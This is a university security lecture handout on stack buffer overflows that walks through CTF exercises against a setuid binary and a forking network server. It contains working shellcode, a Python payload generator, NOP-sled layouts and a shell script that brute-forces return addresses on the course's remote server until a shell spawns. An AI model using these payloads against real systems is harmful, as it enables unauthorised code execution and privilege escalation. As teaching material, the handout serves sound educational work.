
Brute forcing

G. Lettieri

16 October 2022

In the previous sections we have redirected the control flow of a victim
process to an absolute address where we had injected some shellcode. The
address was easy to obtain because it was the address of a global variable. Now
we will study the stack5 example, where we can only inject code on the stack.
This makes the task a little bit more difficult, since stack addresses depend on
many things. You can access the exercise with

ssh -p 4422 stack5@lettieri.iet.unipi.it

with stack5 for the password (this is also challenge stack5 on the snh-ctfd
website).

Suppose that we want to inject the code at the beginnin of the buffer local
variable. To execute the attack, we need two pieces of information:

1. the offset between buffer and the saved rip;

2. the absolute address of buffer.

We can frame the problem as follows: our attack typically requires (at least) two
phases: a first phase, let’s call it the analysis phase, in which we try to obtain
the information necessary to launch the attack (i.e., in our case, the offset and
the address just mentioned); a second phase, the attack phase, in which we
use this information to launch the actual attack. We need to be sure that the
information we get in the analysis phase is actually valid for the attack phase.

As long as we use the same binary (or a copy) in both phases, the offset
will be the same. However, the address of buffer on the stack may change.
To understand why this might be the case, consider what happens when a
process runs a new program. The process, as we have learned, must execute
the execve(path, argv, envp) call, where path is the filesystem path of
an executable file (usually an ELF file in Linux), and both argv and envp
are arrays of pointers to strings. The kernel flushes the process’ current virtual
memory and creates a new one, where it loads the .text, .data, and .bss
sections contained or described in the ELF file1, and allocates some space to
be used as stack. Then, at the bottom of the stack, the kernel copies all the
strings referenced by envp and argv, followed by an auxiliary vector which

1Actually, it loads possibly larger segments that contain these sections.
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we will examine in another lecture, then the environment and argument arrays
(pointing to the strings copied to the stack), and finally the number of elements
in the argument array.

From the above description you can see that the initial value of the stack
pointer seen by the binary, and thus the addresses of all the variables allocated
on the stack—including our buffer—depend on the contents of the environ-
ment and the command line arguments passed to the program by its caller
(which, in our case, may be the shell or gdb). Variations in the lengths of these
strings will cause variations in the absolute address of buffer.

To get an idea of why these strings can change, here are some of the strings
we need to keep track of:

PWD: what the pwd built-in command will print (it may differ from the output
of /bin/pwd because of symlinks);

OLDPWD: were “cd -” will bring you; this is created the first time you issue a
cd command;

: (underscore) bash will set this to the resolved path of the executed command
(i.e., the path that will be passed to execve()).

If we are connected via ssh, other variables can be added to the environment:

SSH AUTH SOCK: socket connected with the ssh-agent; absent if the agent is
not forwarded or started; when present, it changes from one connection
to another and the last number may differ in size;

SSH CLIENT, SSH CONNECTION: the second number is the port of the client
and changes with each connection (unless connection reuse is active);

SSH TTY: the pseudo-tty used by the ssh client.

Also, note that the ssh client will always send your TERM variable to the remote
machine and, depending on the SendEnv option in /etc/ssh/ssh config,
it may also send additional environment variables (e.g., LANG and all the LC *
variables). Therefore, you may see differences when connecting from different
machines. The sudo command removes many variables (e.g., SSH *, depending
on the configuration) and adds its own (USERNAME, SUDO UID, SUDO GID,
SUDO COMMAND, SUDO USER).

If we start a program from within gdb, the environment will also contain
the COLUMNS and LINES variables. In addition, gdb will pass the variable
inherited from the shell, but this will contain the resolved path of gdb instead
of the resolved path of the command.

We also must be careful with argv[0], which both the shell and gdb set to
the path of the program itself; gdb, however, seems to always pass the absolute
path.

Note that the stacks are always aligned to 16 bytes immediately before each
call. This can either hide the differences or make them larger, depending on
the exact values of rsp in the two cases.
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0.1 Jumping to the exact stack address

In the attack phase we will typically run the binary from the shell. If we want to
use gdb in the analysis phase, we can make the environment and argv[0] of the
two phases the same by not changing the working directory, doctoring the gdb
environment and using absolute paths in the shell. Something similar must be
done if we want to get the address of buffer from a crash dump: to get the core
file during the analysis phase, we must run a copy of the setuid/setgid program
in a directory where we have write access, but the attack phase will target the
original program and we must account for any difference in the length of the
executable paths in the two phases. If connected through ssh, its convenient
to do everything in the same session, so that the ssh-related variables don’t
change between the phases.

Let us apply these ideas to our example. Suppose that we want to run our
analysis phase using the crash-dump/cyclic technique. We make a copy of
stack5 in a temporary directory and get a core dump:

cd $(mktemp -d)
ulimit -c unlimited
cp ˜/stack5 .
cyclic -n 8 200 | ./stack5

By loading the core in gdb we can print the top of the stack and the value of rsp.
The top of the stack should contain 0x6161616161616172, corresponding to
an offset of 136. Assume that rsp contains 0x7fffffffe418. Since the crash
occurred before the rip address was popped off the stack rsp now points to the
saved rip. Therefore, the absolute address of buffer in the crashed process
was:

7fffffffe41816 − 136 = 7fffffffe39016

To make sure the address we have computed is be the address of buffer also
during the attack phase, we can do the following without leaving of the tempo-
rary directory

rm stack5
ln -s /home/stack5/stack5

This will create a symbolic link to the original program in the current directory.
This way we will be able to run the original, setuid/setgid program using the
exact same path used during the analysis phase (./stack5 in this case)2:

{
shellcraft amd64.linux.setregid
shellcraft amd64.linux.sh

2We don’t want to change the current directory, since this changes PWD and OLDPWD.
Another possibility is play with cd so that the two values are swapped in the analysis and
attack phases, or to make sure that the name of the temporary directory is such that the
paths used in the two phases have the same length.

3



python3 -c ’print("A"*(136-64)+
"\x7f\xff\xff\xff\xe3\x90"[::-1])’

cat
} | ./stack5

(Note that shellcraft will automatically issue in raw mode if stdout is not
a terminal, so we will omit the redundant “-f raw” option from now on).

If, instead, we want to do the analysis phase by running the program inside
gdb, there is no need to move to a temporary directory or make a copy of
stack5. On the other hand, we should remove the differences between the
environment created by gdb and the one created by the shell. For example, we
can run the following commands in gdb before starting the program:

unset environment COLUMNS
unset environment LINES
set environment _ /home/stack5/stack5

Assume that buffer is still at address 0x7fffffffe390 (the address may
differ from what we got above because argv[0] is different, and PWD and
OLWPWD may be different). Now, in the attack phase, when we run the program
from the shell, we should call stack5 with its full path, so that argv[0] and
_ passed by the shell are the same as those passed by gdb during the analysis:

{
shellcraft amd64.linux.setregid
shellcraft amd64.linux.sh
python3 -c ’print("A"*(136-64)+

"\x7f\xff\xff\xff\xe3\x90"[::-1])’
cat

} | /home/stack5/stack5

Yet another possibility (not available in the VM) is to run the program from
the shell in both phases and, in the analysis phase, attach gdb to the running
process (just pass the pid of the process as a second argument to gdb). In this
way you don’t need to account for environment differences between gdb and
the shell. This, however, is only possible if the program is long running and/or
blocks waiting for input, giving you enough time to start gdb and attach from
another terminal. Moreover, you can only attach to processes that you own,
so you may need to make a copy of a setuid binary and run that instead of
the original one. Moreover, some systems are configured in a restricted mode
where normal users cannot attach to processes at all, so even making a copy of
the setuid/setgid program will not be enough and you must be able to become
root, which only makes sense on a system that you own. Some systems are
configured in an even more restricted way, where not even root can attach to
running programs3.

3The configuration is written in the /proc/sys/kernel/yama/ptrace scope.file A
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In some cases it may be easier to completely wipe out the environment, so
that the only differences to consider are in argv[0]. This can be done from
the shell by running the program with env -i. We can do the same from gdb
by issuing the following command before starting the program:

set exec-wrapper env -i

Exercises

0.1. Reimplement the attack in Python 3 using the pwntools library.

0.2 Jumping to an approximate address

Jumping to shellcode on the stack is complex, but there is a way to make it
easier by using a NOP-sled. A NOP-sled is a sequence of NOP instructions
(binary 0x90) that we can place in front of the shellcode. Jumping anywhere in
the sequence will lead to the shellcode.

In our example, a NOP-sled allows us to make the calculation of the absolute
address of the injected shellcode less stringent. The idea is to move the shellcode
as far as possibile and place a large enough NOP-sled in front of it. Then, we try
to jump to the middle of the NOP-sled using only an estimate of the absolute
address of buffer instead of the exact value. If our estimate is not too far off,
we should still be able to land in the NOP-sled.

Of course, we want the NOP-sled to be as large as possible. How far can we
push the shellcode away from the beginning of buffer? Remember that, when
the shellcode starts running, rsp points below the saved rip. Therefore, the
shellcode’s push instructions will first overwrite our overwritten rip (that’s
OK, at that point we have already used it and we don’t need it anymore) and
then they will start overwriting the lower part of the buffer, where our shellcode
lives. If we don’t leave enough space, the shellcode may start overwriting itself!

If we examine the shellcode produced by

shellcraft -f asm amd64.linux.sh

we see that the maximum delta height that the stack reaches is 6 quadwords,
or 48 bytes. Since we have 144 bytes available (the offset from buffer to the
saved rip, plus the 8 bytes of rip itself that we can reuse) and the shellcode
is 64 bytes (setregid plus sh), we can create a 144 − 64 − 48 = 32 bytes
NOP-sled, which is not much.

But, we can try an alternative solution: we try to put the shellcode after
the saved rip, assuming that there is enough space on the stack. Note that
in this case, since we are running the victim program ourselves, we can create
all the space that we need by defining additional environment variables (or

value of 0 in that file means that no restriction is applied beyond the standard one (you
can trace only your processes, unless you are root) and 2 means that maximum restrictions
apply (nobody can trace anything and root cannot even write into this file).
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additional command line arguments, if the program ignores them). Now we
can put a reasonably long NOP-sled in front of the shellcode and jump in the
middle of it, thus tolerating large offsets in the stack addresses. For example,
in the analysis phase we run the program in gdb, this time without paying any
attention to environment variables and paths, and we find the address below the
saved rip during the execution of start_level(). Say that we find address
0x7fffffffe3e0. We will then prepare an attack to jump to

7fffffffe3e016 + 500 = 7fffffffe5d416.

The following command will most likely give us a shell:

{
python3 -c ’print("A"*136+

"\x00\x00\x7f\xff\xff\xff\xe5\xd4"[::-1]+
"\x90"*1000, end="")’

shellcraft amd64.linux.setregid
shellcraft amd64.linux.sh
echo
cat

} | ./stack5

A few subtleties to note:

• In the previous attacks, we left out the two null bytes in the high part of
the overwritten rip, reusing the null bytes that were already in memory;
this time, we have to send them explicitly, because we need to inject more
bytes after them (the NOPs and the shellcode);

• we have used end="" in the print command, otherwise the newline
would be placed between the NOPs and the shellcode and the CPU would
try to interpret it as part of an instruction;

• we have used echo to send a final newline, so that the gets() returns;
in the previous attacks we just used the newline printed by python; if
we remove the echo, the first line that we type in cat will be read by
gets() and not by the spawned shell.

Exercises

0.2. Reimplement the attack in Python 3 using the pwntools library.

1 Brute force

If the NOP-sled is very small and the differences in the stack addresses are very
large, the attack may fail. However, we should not despair: we can repeat the
attack several times, at different addresses, until it succeeds. The NOP-sled is
useful in this case to reduce the number of addresses we have to try.
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This kind of “brute forcing” may also be necessary if we are not attacking a
set-uid/set-gid program but, rather, a remote server listening on a socket. This
scenario is the most realistic and the last one that we will consider. In this
case the analysis is typically done offline on a system owned by the attacker,
which is different from the one where the victim program is running. Now, we
(as the attackers) need a copy of the binary to analyze it, but this is typically
not a problem, if the victim program is a standard server. The real problem is
that we cannot control the environment and arguments of the remote program,
so we cannot affect the stack addresses of the victim process, and we have to
guess them somehow. However, if the remote server is a classic forking server,
we can still try several times until we succeed: each connection will give us a
new process with a memory that is an exact copy of its parent.

In the following, we will use the stack5a example, which implements such
a forking server, listening on a TCP/IP port for incoming connections. It can
be reached by connecting to port 4405 of the host lettieri.iet.unipi.it.
Each connection spawns a new child process, with stdin, stdout and stderr
redirected to the connection. The child process then executes exactly the same
start level() function as stack5. We can download a copy of the binary
and its source with

scp -P 4422 ’stack5a@lettieri.iet.unipi.it:stack5*’ .

The password is, as usual, stack5a.
We can analyze the downloaded binary in the usual way, with just a few

modifications. If we want to create a crash dump we can use a couple of ter-
minals, one to run the server and another to emulate the client. In the server
terminal we issue ulimit -c unlimited before running stack5a. In the
client terminal we can then run, for example

{ cyclic -n 8 200; echo; } | nc localhost 4405

(We need an echo because nc may not send anything to the server until it sees
a newline). This should create a core file that we can inspect with gdb. If we
want to run the server from within gdb, it is useful to issue the following gdb
commands before running stack5a:

set follow-fork-mode child
set detach-on-fork off

The first command is needed because gdb attaches to the first process of
stack5a (the one doing the accept()), but we are actually interested in
what is going on in the child process (the one doing start_level())4. The
second command is not really needed, but if we don’t use it, gdb will detach
from the parent process while attaching to the child. In particular, this means
that when we exit gdb the parent process will not be killed and will continue
to keep port 4405 busy (in that case we will have to kill it by ourselves).

4Note that pwndbg has already issued this command for us.
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1 import sys
2 import struct
3
4 # shellcraft -n -f string amd64.linux.sh
5 shellcode = b"jhH\xb8\x2fbin\x2f\x2f\x2f"+\
6 b"sPH\x89\xe7hri\x01\x01\x814"+\
7 b"\x24\x01\x01\x01\x011\xf6Vj"+\
8 b"\x08ˆH\x01\xe6VH\x89\xe61"+\
9 b"\xd2j;X\x0f\x05"
10 shstack = 6*8
11 offset = 136
12 base = int(sys.argv[1], 0)
13 buffer = base - (offset + 8)
14 nopsled = (base - buffer) - len(shellcode) - shstack
15 jmptarget = buffer + nopsled//2
16
17 payload = b"\x90" * nopsled
18 payload += shellcode
19 payload += b"A" * (shstack - 8)
20 payload += struct.pack(’Q’, jmptarget)
21
22 sys.stdout.buffer.write(payload + b"\n")

Figure 1: A python 3 script that outputs the payload for stack5a given an
estimate for the base of the stack.

When we run the analysis, we find that the offset between buffer and the
saved rip is 136. We can use this exact value in the attack phase. Instead,
the address of buffer obtained in this phase, like any other address on the
stack, is of limited use for the reasons explained above. Note that we also don’t
know how many bytes there are after the saved rip, so we avoid the solution
of putting the payload under it with a large NOP-sled: if we write too many
bytes, we might crash the server even if we had guessed the address. Therefore,
we put the shellcode in the buffer and try to guess its address by brute force,
using a NOP-sled to reduce the number of attempts. To calculate the size of the
NOP-sled, we can proceed as we did at the beginning of Section 0.2, but there
is an important difference: servers usually run directly with the uid/gid of their
service and don’t go through a setuid/setgid binary. This means that the real
and effective uids (or gids) of server processes are already the same, and there is
no need to inject a setreuid/setregid shellcode. This buys us a few more
bytes to use for the NOP-sled: 16 more bytes in this case, for a total of 48.

To mount this attack we create a script that outputs the payload, given a
base stack address, and then we write a shell script that tries every possible
address. The script in Figure 1 expects a command line argument that should
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1 for ((i=0x00007ffffffff000; i >= 0x00007ffffffde000; i -= 48))
2 do
3 printf "\n==> %#x\n" $i
4 {
5 python3 stack5a.py $i
6 python3 -c ’print(" "*4096+"cat flag.txt")’
7 } | nc lettieri.iet.unipi.it 4405
8 done 2> /dev/null | sed ’/ˆSNH/q’

Figure 2: A shell script that performs a brute-force attack on stack5a.

be the assumed value of rsp when the shellcode starts executing, which is also
the value that rsp had just before the call to start_level. This is a nice
value to use since we know that it must be aligned to 16 and, therefore, we have
fewer bits to guess.

Now we put the script in a stack5a.py file and we try every possible rsp
address starting from the bottom of stack, at 48 bytes decrements (the size
of the NOP-sled, already aligned to 16 in this case): The stack limits can be
obtained by running the program in gdb and using the info proc mappings
command. They are also available in /proc/$PID/maps while the program is
running. A few finer points:

1. To fully automate the attack we send the cat flat.txt command in
the last part of the payload; if we have succeeded in getting a shell, the
command will be understood;

2. The final sed command stops everything as soon as it sees a line starting
with the “SNH” string that should come from the flag.

3. For robustness, we prefix the cat command with lots of whitespace; the
problem here is that the stdio buffering in the original program may read
past the first newline, thus consuming the characters intended for the
shell; the whitespace should satisfy stdio’s appetite before it eats the cat
command (semicolons would have worked too);

Exercises

1.1. Reimplement the attack in Python 3 using the pwntools library.
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